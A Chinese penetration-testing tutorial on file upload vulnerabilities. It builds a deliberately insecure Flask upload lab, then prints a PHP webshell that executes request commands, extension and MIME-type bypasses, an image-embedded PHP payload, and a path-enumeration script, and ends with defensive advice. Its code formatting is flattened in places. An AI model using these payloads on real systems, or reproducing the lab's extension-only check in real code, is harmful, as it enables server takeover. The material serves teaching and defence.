0x01 文件上传的秘密
文件上传功能是一个看似简单却暗藏玄机的模块,它广泛存在于各种Web应用中,比如用户头像上传、附件上传、文档共享和管理等场景。然而,这些功能一旦设计不当,往往会成为攻击者打开突破口的钥匙。文件上传漏洞的利用方式多种多样,既可以用于上传恶意脚本实现代码执行,也可以用作进一步的信息收集,甚至是获取持久化访问的手段。在我以往的渗透测试经历中,文件上传漏洞几乎是「必测项目」,也确实带来了不少意想不到的战果。
文件上传漏洞的成因大多是由于开发者未对上传文件进行严格校验。常见的失误包括:
- 文件类型验证不严:仅通过前端或文件扩展名进行检查;
- 文件存储路径可控:上传的文件存储在可直接访问的目录中;
- 缺乏安全策略:未合理限制文件大小、文件名等参数。
攻击者的目标通常很明确:上传一个包含恶意代码的文件,并让服务器执行,从而实现进一步的控制。 这看起来简单,但在实战中往往需要突破多重限制,这才是对攻击者技术水平的真正考验。
---
0x02 漏洞环境复现

要理解文件上传漏洞的细节和攻击方式,我们先搭建一个简单的靶场。通过这个靶场,我们可以复现最基础的文件上传漏洞场景,便于后续的实战讲解。
环境搭建
我们使用以下技术栈搭建这个靶场:
- Web框架:Flask (Python,开发速度快)
- 数据库:SQLite (轻量级,适合实验)
- 操作系统:Linux (这里用的是Ubuntu)
以下是靶场代码,功能是模拟用户上传文件并将文件保存到服务器的特定目录下:
<pre><code class="language-python">from flask import Flask, request, render_template, redirect, url_for import os
app = Flask(__name__) UPLOAD_FOLDER = './uploads/' # 文件上传目录 ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'} # 允许的文件类型
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
检查文件扩展名是否符合要求
def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/') def index(): return ''' <h1>文件上传漏洞靶场</h1> <form method="POST" action="/upload" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="上传"> </form> '''
@app.route('/upload', methods=['POST']) def upload_file(): if 'file' not in request.files: return '没有文件被上传' file = request.files['file'] if file.filename == '': return '未选择文件' if file and allowed_file(file.filename): # 仅检查扩展名 filename = file.filename file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return f'文件上传成功: {filename}' return '不支持的文件格式!'
if __name__ == '__main__': if not os.path.exists(UPLOAD_FOLDER): os.mkdir(UPLOAD_FOLDER) app.run(debug=True, host='0.0.0.0', port=5000)</code></pre>
环境启动
- 安装依赖:
<pre><code class="language-bash"> pip install flask `
- 启动服务:
`bash python3 upload_vuln.py `
- 浏览器访问
http://127.0.0.1:5000,即可看到文件上传表单。
- 上传一个图片文件,观察文件是否会保存到
./uploads/目录中。
此时,靶场环境已经准备就绪,接下来,我们将逐步分析如何在真实渗透测试中利用这个漏洞。
---
0x03 攻击者的武器库:文件上传的突破之道
作为攻击者,如果我遇到上述的文件上传功能,我会尝试以下几种方式来利用它:
绕过文件类型验证
这个靶场中,文件类型验证仅基于文件扩展名(allowed_file 函数)。但扩展名仅是文件名的一部分,完全可以伪造。以下是绕过扩展名验证的常用方法:
方法1:伪装扩展名
上传一个包含恶意代码的PHP文件,将扩展名伪装为 .jpg 或其他允许的类型。例如:</code></pre>bash mv shell.php shell.jpg <pre><code>
方法2:双重扩展名
利用服务器可能只检查最后一个扩展名的机制,例如:</code></pre>bash mv shell.php shell.jpg.php <pre><code>
方法3:Content-Type伪造
上传文件时,修改请求中的 Content-Type 标头为 image/jpeg,迷惑服务器。
这里用 Burp Suite 截获请求并修改:</code></pre> Content-Type: image/jpeg <pre><code>而实际上传的文件仍然是一个包含恶意代码的脚本。
上传Webshell
如果可以绕过验证并上传恶意脚本,就可以在服务器上执行命令。例如,上传以下简单的PHP Webshell: </code></pre>php <?php if(isset($_REQUEST['cmd'])){ echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>'; } ?> <pre><code> 假设文件被上传到 http://target/uploads/shell.php,访问:</code></pre> http://target/uploads/shell.php?cmd=whoami <pre><code>即可执行系统命令。
---
0x04 实战中的防御绕过技巧
尽管上述方法在靶场中能轻松成功,但在真实场景中,开发者往往会采取更多保护措施,比如 MIME 类型验证、黑名单检查、白名单策略等。以下是几种常见绕过方式:
绕过MIME类型验证
有的服务器会验证上传文件的 MIME 类型是否符合要求,比如只允许 image/jpeg。但攻击者可以通过工具伪造,例如: </code></pre>bash curl -F '[email protected]' -H 'Content-Type: image/jpeg' http://target/upload <pre><code>
绕过文件内容检查
一些高级防护系统会分析文件内容(Magic Bytes)以识别文件类型。我们可以使用文件混淆技术绕过,例如,将PHP代码插入到图片文件中: </code></pre>bash
生成伪装的恶意图片
cp normal.jpg fake.jpg echo '<?php system($_GET["cmd"]); ?>' >> fake.jpg <pre><code> 上传后,文件既是图片,也能作为PHP文件执行。
---

0x05 爆破存储路径:发现上传的文件
在某些情况下,攻击者可能无法直接访问上传的文件。这时,可以尝试通过路径爆破来找到文件。例如,如果上传的文件存储在 uploads 目录下,可以用以下脚本枚举文件名:
</code></pre>python import requests
url = "http://target/uploads/" common_names = ["shell.php", "test.jpg", "backdoor.php"]
for name in common_names: full_url = url + name r = requests.get(full_url) if r.status_code == 200: print(f"[+] Found: {full_url}") `
---
0x06 防守者的心得
在多年渗透和防守的实践中,我总结了一些针对文件上传漏洞的有效防御策略:
- 严格的内容检查:不要信任文件扩展名,检查文件内容是否符合预期格式。
- 隔离存储目录:将上传的文件存储在无法通过Web直接访问的目录中。
- 限制文件执行:通过设置目录权限或使用中间层(如Nginx)阻止脚本执行。
- 采用白名单:明确限制允许的文件类型和大小。
---
0x07 一些经验与反思
文件上传漏洞看似简单,但要真正利用成功往往需要结合多个子技巧。熟悉这些细节,不仅能帮助我们在渗透测试中找到突破点,也能让我们更好地加固系统安全。攻防对抗是一个不断学习和成长的过程,保持攻击者的思维,才能更好地守护系统!